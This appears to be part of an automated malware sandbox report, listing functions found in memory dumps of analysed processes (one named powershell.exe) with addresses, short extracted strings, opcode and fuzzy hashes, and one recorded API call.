Opcode ID: 9c5357b6e400786d02cd3da90d6a50c2058c098464490c60c6f9ccaed93c8188
Instruction ID: 494b344ca659e2f37c70df1232f1910440ecc8c095bff8253f8272adb32f1fc5
Opcode Fuzzy Hash: 9c5357b6e400786d02cd3da90d6a50c2058c098464490c60c6f9ccaed93c8188
Instruction Fuzzy Hash: 89B092300447088FC6486F75A404914732AAF8061539004A9E80E0A3A68E36E985CA44

Non-executed Functions

Function 07D20FDD Relevance: 17.8, Strings: 14, Instructions: 294COMMON

Download Yara Rule

Strings

$cq, xrefs: 07D21065
`Qcq, xrefs: 07D21153
$cq, xrefs: 07D21239
$cq, xrefs: 07D21044
`Qcq, xrefs: 07D21193
$cq, xrefs: 07D21229
$cq, xrefs: 07D21253
fhq, xrefs: 07D210A2
$cq, xrefs: 07D21081
`Qcq, xrefs: 07D2115F
`Qcq, xrefs: 07D210ED
tPcq, xrefs: 07D21133
$cq, xrefs: 07D21263
tPcq, xrefs: 07D21127

Memory Dump Source

Source File: 00000015.00000002.2834702349.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Similarity

API ID:
String ID: fhq$`Qcq$`Qcq$`Qcq$`Qcq$tPcq$tPcq$$cq$$cq$$cq$$cq$$cq$$cq$$cq
API String ID: 0-4057250318
Opcode ID: f21568f60d8cefb42a80160664fb7ef1a4aa322d68f2885cf0cb47ef09b0fa04
Instruction ID: 3519f4aa0591513434f094c18a74fe316a538f560b9a8712bd7cb6d32cdf9698
Opcode Fuzzy Hash: f21568f60d8cefb42a80160664fb7ef1a4aa322d68f2885cf0cb47ef09b0fa04
Instruction Fuzzy Hash: 93B1D1B160022EDFCF258E68D9416ABBBB2FF95305F54C055E8019B281CB36DD93DBA1

Function 07D23928 Relevance: 12.8, Strings: 10, Instructions: 320COMMON

Download Yara Rule

Strings

$cq, xrefs: 07D23C0E
tPcq, xrefs: 07D239B1
$cq, xrefs: 07D2393A
$cq, xrefs: 07D23960
b, xrefs: 07D23A0F
4'cq, xrefs: 07D23B35
tPcq, xrefs: 07D239A5
4'cq, xrefs: 07D23B29
$cq, xrefs: 07D2396C
b, xrefs: 07D23A1D

Memory Dump Source

Source File: 00000015.00000002.2834702349.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Similarity

API ID:
String ID: 4'cq$4'cq$tPcq$tPcq$$cq$$cq$$cq$$cq$b$b
API String ID: 0-777048657
Opcode ID: 80226eed4ad4bb2d7ecfb82e739fcae7b95a8d4eb0fd7b488f143754dac46966
Instruction ID: 9117ad46ced8146ea44c65fc577d57eb842bf7dfa03712f3736339abb8b147e4
Opcode Fuzzy Hash: 80226eed4ad4bb2d7ecfb82e739fcae7b95a8d4eb0fd7b488f143754dac46966
Instruction Fuzzy Hash: 5FA158B17043658FDB259B68C810766FFB6AFD6214F2880BAD545CB392CA3ACC43D761

Function 04FBEBB8 Relevance: 10.2, Strings: 8, Instructions: 181COMMON

Download Yara Rule

Strings

$cq, xrefs: 04FBED55
$cq, xrefs: 04FBED3B
$cq, xrefs: 04FBED07
0oFp, xrefs: 04FBED47
,gq, xrefs: 04FBEC0D
$cq, xrefs: 04FBECB0
$cq, xrefs: 04FBED6F
$cq, xrefs: 04FBED21

Memory Dump Source

Source File: 00000015.00000002.2748909506.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Similarity

API ID:
String ID: ,gq$0oFp$$cq$$cq$$cq$$cq$$cq$$cq
API String ID: 0-3690240453
Opcode ID: 42008a3b880c4a8eda1c61a8f9ae718e1903eda5d23e927a2574f472506bf676
Instruction ID: 452bf98ec126e077e5d5b651a019278b358df10d8ff7a38e4ff49f32cf3db6a3
Opcode Fuzzy Hash: 42008a3b880c4a8eda1c61a8f9ae718e1903eda5d23e927a2574f472506bf676
Instruction Fuzzy Hash: 295196727454148FCB1AABBA94545FD3B92BF8E75035104AAE056CB3B3EE50EC42C7D2

Function 04FBEDE8 Relevance: 9.2, Strings: 7, Instructions: 452COMMON

Download Yara Rule

Strings

0oFp, xrefs: 04FBF237
0oFp, xrefs: 04FBF205
$cq, xrefs: 04FBF16C
`Qcq, xrefs: 04FBF2FC
$cq, xrefs: 04FBF110
$cq, xrefs: 04FBF326
0oFp, xrefs: 04FBF243

Memory Dump Source

Source File: 00000015.00000002.2748909506.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Similarity

API ID:
String ID: 0oFp$0oFp$0oFp$`Qcq$$cq$$cq$$cq
API String ID: 0-357146346
Opcode ID: 200efc6365434c9ceb9ddbd5c41a9bc5081db5ab06e346ac52ad6695292a49cf
Instruction ID: a91eb260e9b7908ab6d38b114ecadcedb0124cf8c126e12660af6d298a86786d
Opcode Fuzzy Hash: 200efc6365434c9ceb9ddbd5c41a9bc5081db5ab06e346ac52ad6695292a49cf
Instruction Fuzzy Hash: 5AE10931B101114FDB159FBE88246BE76E6DFCA710B2544AAD546DF3A6EE70EC0283E1

Function 07D21BE0 Relevance: 9.1, Strings: 7, Instructions: 398COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D21C92
4'cq, xrefs: 07D21F95
tPcq, xrefs: 07D21FDF
4'cq, xrefs: 07D21C86
$ca, xrefs: 07D220B4
4'cq, xrefs: 07D21F89
tPcq, xrefs: 07D21FEB

Memory Dump Source

Source File: 00000015.00000002.2834702349.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Similarity

API ID:
String ID: $ca$4'cq$4'cq$4'cq$4'cq$tPcq$tPcq
API String ID: 0-3802632805
Opcode ID: e15819e9615c7c2593bcd4bb6baeb6b5140395b891753d394795eb129f53a796
Instruction ID: b411370f8f7531d034388c28abb5b9e7fae771697bbea36abcb778bb08b7ef9f
Opcode Fuzzy Hash: e15819e9615c7c2593bcd4bb6baeb6b5140395b891753d394795eb129f53a796
Instruction Fuzzy Hash: 54D159B5B0422ACFCB219B6894006ABFBB2EFD5314F18C0ABD555CB252DB32D843D791

Function 07D23678 Relevance: 8.9, Strings: 7, Instructions: 185COMMON

Download Yara Rule

Strings

$cq, xrefs: 07D2382A
b, xrefs: 07D2387B
4'cq, xrefs: 07D2372E
$cq, xrefs: 07D237FF
$cq, xrefs: 07D23836
b, xrefs: 07D2386D
4'cq, xrefs: 07D23722

Memory Dump Source

Source File: 00000015.00000002.2834702349.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq$$cq$b$b
API String ID: 0-3877700585
Opcode ID: 6584414f2e390072f40e59e28f9bab5c32868f73c71443988ce21fa4f436c9b2
Instruction ID: efeb0d2a4d9744964f5f66550ac9629a1f40c3607dcc09815ddd5b799080ef07
Opcode Fuzzy Hash: 6584414f2e390072f40e59e28f9bab5c32868f73c71443988ce21fa4f436c9b2
Instruction Fuzzy Hash: 13517BF57043269FDF255A698410366FBB6AFE2225F24807BC585CB281DF39C883D791

Function 07D20568 Relevance: 6.6, Strings: 5, Instructions: 392COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07D205EC
4'cq, xrefs: 07D2096E
4'cq, xrefs: 07D205F6
4'cq, xrefs: 07D20962
fhq, xrefs: 07D2094B

Memory Dump Source

Source File: 00000015.00000002.2834702349.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Similarity

API ID:
String ID: fhq$4'cq$4'cq$4'cq$4'cq
API String ID: 0-593472165
Opcode ID: 8af019efd91604a9340e2220ffe75dadbe0e151a35ff37a07c9141a782c53ead
Instruction ID: 1d3c46003ce4d92922e477b9fb70e594720bd620ea6a95729ea6a17eadf0baad
Opcode Fuzzy Hash: 8af019efd91604a9340e2220ffe75dadbe0e151a35ff37a07c9141a782c53ead
Instruction Fuzzy Hash: 7BD135B1B042258FDB159B68941076AFBA2EFD6319F18C0BAD546CB392DB31CD43C7A1

Function 04FB7A09 Relevance: 5.2, Strings: 4, Instructions: 239COMMON

Download Yara Rule

Strings

`dq, xrefs: 04FB7B0B
`dq, xrefs: 04FB7CAA
`dq, xrefs: 04FB7B8A
`dq, xrefs: 04FB7C2C

Memory Dump Source

Source File: 00000015.00000002.2748909506.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Similarity

API ID:
String ID: `dq$`dq$`dq$`dq
API String ID: 0-2321115389
Opcode ID: e089942030f226a9597b745d392ed6e32da790f4bac58ef372b55302541841fc
Instruction ID: a2676584bc5e667def74a2574e2f3df442ff12ff0e92b00f21dee00cbb23ad37
Opcode Fuzzy Hash: e089942030f226a9597b745d392ed6e32da790f4bac58ef372b55302541841fc
Instruction Fuzzy Hash: AEB1C6B4E006099FDB45DFA9D990A9DFBF2FF89300F108629E819AB345D730A945CF90

Function 04FB7A18 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`dq, xrefs: 04FB7B0B
`dq, xrefs: 04FB7CAA
`dq, xrefs: 04FB7B8A
`dq, xrefs: 04FB7C2C

Memory Dump Source

Source File: 00000015.00000002.2748909506.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Similarity

API ID:
String ID: `dq$`dq$`dq$`dq
API String ID: 0-2321115389
Opcode ID: 9a833eb1a97669c05c3736cf2c1181eb8edb7ed48ba09aef3747b8d139ee510a
Instruction ID: dc8ec39d22fe2c75daf361f0829418f682c9e028f6e6fe01f05dfed62b172b3a
Opcode Fuzzy Hash: 9a833eb1a97669c05c3736cf2c1181eb8edb7ed48ba09aef3747b8d139ee510a
Instruction Fuzzy Hash: B6B1B6B4E006099FDB55DFA9D990A9DFBF2FF88300F108629E819AB345D730A945CF90

Function 04FB71F8 Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

`dq, xrefs: 04FB7B0B
`dq, xrefs: 04FB7CAA
`dq, xrefs: 04FB7B8A
`dq, xrefs: 04FB7C2C

Memory Dump Source

Source File: 00000015.00000002.2748909506.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Similarity

API ID:
String ID: `dq$`dq$`dq$`dq
API String ID: 0-2321115389
Opcode ID: f832e8533b9ec6dbb1e37fc67b277570fc698fff84b3bf7340357b21dabcc15c
Instruction ID: 32b344f22c602cfa44ab3749e455906ff9aaf3cf21f28560a973e2bc884a02c1
Opcode Fuzzy Hash: f832e8533b9ec6dbb1e37fc67b277570fc698fff84b3bf7340357b21dabcc15c
Instruction Fuzzy Hash: 628170B4E012099FDB45DFA9D590A9DFBF1FF89300F20862AD819AB355D730A945CF90

Function 07D25798 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$cq, xrefs: 07D257AA
$cq, xrefs: 07D257F4
$cq, xrefs: 07D25800
$cq, xrefs: 07D257C6

Memory Dump Source

Source File: 00000015.00000002.2834702349.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Similarity

API ID:
String ID: $cq$$cq$$cq$$cq
API String ID: 0-2876200767
Opcode ID: 93726ffd88850ef0da7013e1a3523a2e7f1141ca630104274d197dcfee27c751
Instruction ID: 13063940881711ca1d065870de696be6c358222a2c329b79b8f7ec703f7be2c6
Opcode Fuzzy Hash: 93726ffd88850ef0da7013e1a3523a2e7f1141ca630104274d197dcfee27c751
Instruction Fuzzy Hash: 7A217CB570022697DB34552AA810F37F7979FE0718F64807AD547CB382DEB1C9139361

Function 07D20308 Relevance: 5.0, Strings: 4, Instructions: 44COMMON

Download Yara Rule

Strings

$cq, xrefs: 07D20352
$cq, xrefs: 07D2035E
4'cq, xrefs: 07D20373
4'cq, xrefs: 07D2037F

Memory Dump Source

Source File: 00000015.00000002.2834702349.0000000007D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 07D20000, based on PE: false

Similarity

API ID:
String ID: 4'cq$4'cq$$cq$$cq
API String ID: 0-1126079151
Opcode ID: 2e0d03ae9d9a8e946ec510b989bdc44290a5daafaf3a16783f2e9b99ec91ba91
Instruction ID: 10aae732dce802f1b8d738da06e5e0257a6e9bb33d9e8eb01a710a596a317faa
Opcode Fuzzy Hash: 2e0d03ae9d9a8e946ec510b989bdc44290a5daafaf3a16783f2e9b99ec91ba91
Instruction Fuzzy Hash: 0601F261B0D7954FC72B12285820156AFB36FD364476D80DBC181CF297CE298D0B8793

Analysis Process: powershell.exePID: 8612, Parent PID: 8588COMMON

Executed Functions

Function 04F0B470 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6771a42e77446462ede652aefa1d4a8de804eb8a9abc3de5e3d23d90da43d81f
Instruction ID: 9853ac0cdeceb5686e622b7b3450dfa3b1287b565b9e4d8a2a4c6e410f324af4
Opcode Fuzzy Hash: 6771a42e77446462ede652aefa1d4a8de804eb8a9abc3de5e3d23d90da43d81f
Instruction Fuzzy Hash: 9C918E71E007145BEB19DFB49A106AEBBF2EFC4600B40C91ED516AB394EF34AD068BD5

Function 04F0B490 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 951d0336512dc175938884dfd1fe1b9a1df103e24f0bba4dd60b8842ced2127e
Instruction ID: 4fb27c25e6e9517d38c1af6dd222c212343b9fa95f62bdfec288a25f68fbcdb4
Opcode Fuzzy Hash: 951d0336512dc175938884dfd1fe1b9a1df103e24f0bba4dd60b8842ced2127e
Instruction Fuzzy Hash: 92917CB1E007149BEB19DFB49A106AEB7E2EFC4600B40C91DD516AB394EF34AD068BD5

Function 07852308 Relevance: 30.3, Strings: 23, Instructions: 1557COMMON

Download Yara Rule

Strings

b, xrefs: 07852D9D
tPcq, xrefs: 0785305C
$cq, xrefs: 07852CEC
tPcq, xrefs: 07852D25
tPcq, xrefs: 07853324
4'cq, xrefs: 07852619
p5a, xrefs: 0785344F
$cq, xrefs: 07852CBA
4'cq, xrefs: 07852BE7
b, xrefs: 07852D8F
$cq, xrefs: 07852CE0
tPcq, xrefs: 07852D31
4'cq, xrefs: 07852EEE
$aub, xrefs: 0785357C
4'cq, xrefs: 07852EF8
tPcq, xrefs: 07853330
4'cq, xrefs: 0785260D
4'cq, xrefs: 078531B6
4'cq, xrefs: 078531C0
4'cq, xrefs: 07852BDB
#a, xrefs: 07852BA7
$a, xrefs: 07852EBF
tPcq, xrefs: 07853068

Memory Dump Source

Source File: 00000018.00000002.2855067201.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Similarity

API ID:
String ID: $aub$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$4'cq$p5a$tPcq$tPcq$tPcq$tPcq$tPcq$tPcq$#a$$cq$$cq$$cq$$a$b$b
API String ID: 0-220239480
Opcode ID: ce627e970e6d2eb7826506d0448af5ba34c8f75b5315840744451de5ffa75a03
Instruction ID: 42be4edb4274c7b4975cfe048f0fbb5b5bb6b097b8ea95813079bc19f1029974
Opcode Fuzzy Hash: ce627e970e6d2eb7826506d0448af5ba34c8f75b5315840744451de5ffa75a03
Instruction Fuzzy Hash: F1B24AF1B042068FDB259F6888117AABBF1BFA5315F1480BAD905CB252DF35D981C7A2

Function 07853CE8 Relevance: 5.6, Strings: 4, Instructions: 593COMMON

Download Yara Rule

Strings

4'cq, xrefs: 07854180
4'cq, xrefs: 07854026
4'cq, xrefs: 0785418A
4'cq, xrefs: 07854030

Memory Dump Source

Source File: 00000018.00000002.2855067201.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Similarity

API ID:
String ID: 4'cq$4'cq$4'cq$4'cq
API String ID: 0-1446110543
Opcode ID: 1b924ecb538c5abd9bb0b57a0ccdd12c4d17cb5c74a06eb5946bd1d917d180e7
Instruction ID: 9a8d6fc590e02bf3dedf11f0794825c834fdf31a8e5e652d594f4e061e86e7f8
Opcode Fuzzy Hash: 1b924ecb538c5abd9bb0b57a0ccdd12c4d17cb5c74a06eb5946bd1d917d180e7
Instruction Fuzzy Hash: 93125BB17042558FCB159F68C82176BBBB2AFE1354F2480BADD05CF692DB31C981C7A1

Function 078517B8 Relevance: 2.8, Strings: 2, Instructions: 341COMMON

Download Yara Rule

Strings

b, xrefs: 0785193A
b, xrefs: 0785192C

Memory Dump Source

Source File: 00000018.00000002.2855067201.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Similarity

API ID:
String ID: b$b
API String ID: 0-462525486
Opcode ID: 537293f47623bdf20d0930ae6791346bfa3d283edcb073707312af1221357617
Instruction ID: 09e3e5cad0cdc3b942f1b073c36638561cc14a0ecaeeff2291d8b2753dcb4054
Opcode Fuzzy Hash: 537293f47623bdf20d0930ae6791346bfa3d283edcb073707312af1221357617
Instruction Fuzzy Hash: 48B128B5F0424D9FCB159F69C4487AABBE2EFD5220F18C07AD905CB251DB31D981C7A2

Function 08AA6821 Relevance: 1.6, APIs: 1, Instructions: 50threadCOMMON

Download Yara Rule

APIs

SetThreadToken.KERNELBASE(EFC00856), ref: 08AA688A

Memory Dump Source

Source File: 00000018.00000002.2864552137.0000000008AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08AA0000, based on PE: false

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: d2186d59ee1063b0f5e700a27a0ec4a1b321c18eab648bf331e212f737ea30b2
Instruction ID: 9b0c071159cb78f726ba7bf5f099df35647a20e7633fbf2c129d837abfb87387
Opcode Fuzzy Hash: d2186d59ee1063b0f5e700a27a0ec4a1b321c18eab648bf331e212f737ea30b2
Instruction Fuzzy Hash: F71116B59002488FCB10DF99D884BAEFFF8EB88314F248419D419A7610D774A944CFA4

Function 08AA6828 Relevance: 1.5, APIs: 1, Instructions: 48threadCOMMON

Download Yara Rule

APIs

SetThreadToken.KERNELBASE(EFC00856), ref: 08AA688A

Memory Dump Source

Source File: 00000018.00000002.2864552137.0000000008AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 08AA0000, based on PE: false

Similarity

API ID: ThreadToken
String ID:
API String ID: 3254676861-0
Opcode ID: 7e87e55d9bb5764d31fcfba1078ed2e44af84dc4bc9012c76980caf35dfe2a0b
Instruction ID: cb7a974b90d7396bb8a934bd7682aa75b9f51460952f590618dcad0135d88dbc
Opcode Fuzzy Hash: 7e87e55d9bb5764d31fcfba1078ed2e44af84dc4bc9012c76980caf35dfe2a0b
Instruction Fuzzy Hash: B41106B59002098FCB10DF9AC884B9EFFF8EB88324F14841AD519A7710D775A944CFA5

Function 04F06FE0 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

(gq, xrefs: 04F07105

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID: (gq
API String ID: 0-1972435379
Opcode ID: 8f5cbaef581a9b945604ddcd3e194509eb6003dfc2863015967def13c0262ee2
Instruction ID: 004071743061800b515b1498bc1bb0d2a6358f4a53205d9bafd758be237fd02a
Opcode Fuzzy Hash: 8f5cbaef581a9b945604ddcd3e194509eb6003dfc2863015967def13c0262ee2
Instruction Fuzzy Hash: 10412C35B142048FDB15DFA8C454AAEBBF2EF8D315F1484A8E402AB391DB35ED42DB61

Function 04F0AF98 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

(&cq, xrefs: 04F0AFBA

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID: (&cq
API String ID: 0-298851153
Opcode ID: 02016b82ea9def950e351b6554fd3c0c237edaeed8617f1cf50721291b7cad8b
Instruction ID: dfe5561b60492462b4016962f3232a8d8f5c2f2713dc1b4df7b8eb8b1b226793
Opcode Fuzzy Hash: 02016b82ea9def950e351b6554fd3c0c237edaeed8617f1cf50721291b7cad8b
Instruction Fuzzy Hash: 9121D375A042588FCB14DFADD4106AFBFF5EFC9320F14846ED418A7340CB75A9058BA5

Function 04F0F3C1 Relevance: 1.3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

U, xrefs: 04F0F3CD

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: acd8fc6497e70bec8931128c7a6de60a4c8806d7efd4c9eac622534834c11436
Instruction ID: a7a4832445d64a5eb7c40cc228fc338cf0eb2595193034d8b00cdf7958adae13
Opcode Fuzzy Hash: acd8fc6497e70bec8931128c7a6de60a4c8806d7efd4c9eac622534834c11436
Instruction Fuzzy Hash: 35014C75D0075AEBCB00DFE4C9446EEBBB1FF8A300F10471AE005A6A01EBB02686CB80

Function 04F029F0 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 127a979e90dd85a8c1a9156d351f8303f4f40950cc167d5ae0938169c6248704
Instruction ID: 9af07d1421ebac24d9d3a8d4718f309a878e4f8cd67650c4c97f3d3da2275df2
Opcode Fuzzy Hash: 127a979e90dd85a8c1a9156d351f8303f4f40950cc167d5ae0938169c6248704
Instruction Fuzzy Hash: C6916074A006058FCB15CF98C4D89AEFBB1FF88310B298599D855AB3A5C735FC52DBA0

Function 04F07740 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f922abd4cbe166e289a5bdd4f2ecde97c232c6d9cca96ab1a4a95e861b684b3e
Instruction ID: 8da2fc4ff5ee1943927f6c0a36bb119e5be183382d355c345b9884bcd3bca3ab
Opcode Fuzzy Hash: f922abd4cbe166e289a5bdd4f2ecde97c232c6d9cca96ab1a4a95e861b684b3e
Instruction Fuzzy Hash: D651D1357042058FD715EB69D844A2A7BEAFFC9314F2485A9D505CB391EB31FC02DBA0

Function 04F0BAC0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b75713184a240b398a0b4222b997ce11296f6239a12d995fef62f90e651390a
Instruction ID: 8cfe19473e25fdc645095dd9c696b52858725559b017d99d7312ae3b7b1c3da5
Opcode Fuzzy Hash: 0b75713184a240b398a0b4222b997ce11296f6239a12d995fef62f90e651390a
Instruction Fuzzy Hash: 05611771E002488FDB14CFA9D584A9DBBF1FF88310F15C16AE819AB355EB34AC46CB60

Function 04F0BAB0 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 745819bb5c273c626dd8540ea3bb88c710ea5dc5761011db641bfde6371ef80f
Instruction ID: 558477d98ecf4a3b57a6536af68759b15ccdf1a46188bf1714401254939496a7
Opcode Fuzzy Hash: 745819bb5c273c626dd8540ea3bb88c710ea5dc5761011db641bfde6371ef80f
Instruction Fuzzy Hash: 0A512871E002489FDB54CFA9D594A8DBBF2FF88310F15C06AE819AB355EB34AC46DB50

Function 07853CCC Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2855067201.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3702a2e0e94681f16796d0c445747b36fc7a4b083e71ae0464fea17cddc87c54
Instruction ID: 77fbf7426cceb2c4e9eeca5d8bcda4753b3b5ca5528e4c39065c8d7fe435083f
Opcode Fuzzy Hash: 3702a2e0e94681f16796d0c445747b36fc7a4b083e71ae0464fea17cddc87c54
Instruction Fuzzy Hash: 044128F4A00202DFCB258E28C525B6BBBF2AFA5798F1480A5DD00DFA52D735DD45CBA1

Function 04F06FB0 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dba9d00c2f935a52010ef2275843312e4ce95be06a6084ff210a429eb31619fe
Instruction ID: c1f7e7d3d76deda5e3b9a003e57b5e36054896353b8b447755f81bfbcbe40922
Opcode Fuzzy Hash: dba9d00c2f935a52010ef2275843312e4ce95be06a6084ff210a429eb31619fe
Instruction Fuzzy Hash: 70415D35B042458FDB15DFA4C964AAABBF1AFCD215F1480A9E442EB391DB31EC02DB61

Function 04F02B00 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec816bf478b18b2f72d2c38db531cb5da8c358639ef6887a13a0727409fe9c01
Instruction ID: ea04ae011c57db9a97914ea959bf3faf66e64815a12370cc249e4828fddfdd38
Opcode Fuzzy Hash: ec816bf478b18b2f72d2c38db531cb5da8c358639ef6887a13a0727409fe9c01
Instruction Fuzzy Hash: D5413FB4A005059FCB05CF58C5D8AAEFBB1FF88310B258599D855AB3A4C731FC92DBA0

Function 04F0C388 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd2c6b76c501d5ee0368549ee289543c20befac066e463275a78e3eae9754a4e
Instruction ID: f6b6743a4b6224923f0495a2e77eacc5ea44ac4893dbc932a60c5339cf6b06bc
Opcode Fuzzy Hash: fd2c6b76c501d5ee0368549ee289543c20befac066e463275a78e3eae9754a4e
Instruction Fuzzy Hash: 1F317C353006019FD705EB78E854B9AB7E6FFC4215F408629E60ACB392DF71A846DBA1

Function 04F0AE60 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0249d3635177576b6bed3792e6a6b7dcbce0b54184d9868108bee5b17c16ec1e
Instruction ID: 44b60659afa6f43ec1c056b481f0c74c771690e90279af15831ff5f9fa8e221e
Opcode Fuzzy Hash: 0249d3635177576b6bed3792e6a6b7dcbce0b54184d9868108bee5b17c16ec1e
Instruction Fuzzy Hash: AA314AB0E002099FDB05DFA9D494AAEBBF6EFC8315F148029E405EB294EB749C469B51

Function 04F0AD28 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d920cdd23fbe828c48ab2fc01a49eaab23c429ed3b0b723e9712fd029fe9efda
Instruction ID: 63032eb422da5171b76312cc7517b12016493ea0c0095243c0608d361d6b23c3
Opcode Fuzzy Hash: d920cdd23fbe828c48ab2fc01a49eaab23c429ed3b0b723e9712fd029fe9efda
Instruction Fuzzy Hash: 9331A1B4A002499FEB01DBB4D954ABE7BB2EFC4305F11C4ADD511AB3A5CA75AD01CF60

Function 04F0AE70 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ba975a93f35ea2d6b86f24d10935ba7c64dd676b558939bcd0320e7ec379a71
Instruction ID: 57bf4bcc36646a5d396d5caf5f2e5c8488386c97cd5d5776d7305acad3e1e5b2
Opcode Fuzzy Hash: 4ba975a93f35ea2d6b86f24d10935ba7c64dd676b558939bcd0320e7ec379a71
Instruction Fuzzy Hash: DB312BB0E002099BDB44DFA9D5947AEBAF6EFC8315F148029E405E7394EB34AC469B61

Function 04F0E049 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000018.00000002.2757013877.0000000004F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F00000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9c93a6c75c07b04a42bb515cd4af66b67cc12f31636bbdda80d8aa800ada10b
Instruction ID: 9fd103b08f01eed73a45e64098683b1075431699f8e9fefadef3c474f14a66ea
Opcode Fuzzy Hash: a9c93a6c75c07b04a42bb515cd4af66b67cc12f31636bbdda80d8aa800ada10b
Instruction Fuzzy Hash: 34315C71A002059FCB14DF68D458A9EBBF2FF89314F04896DD806EB3A1DB75AC45CB91

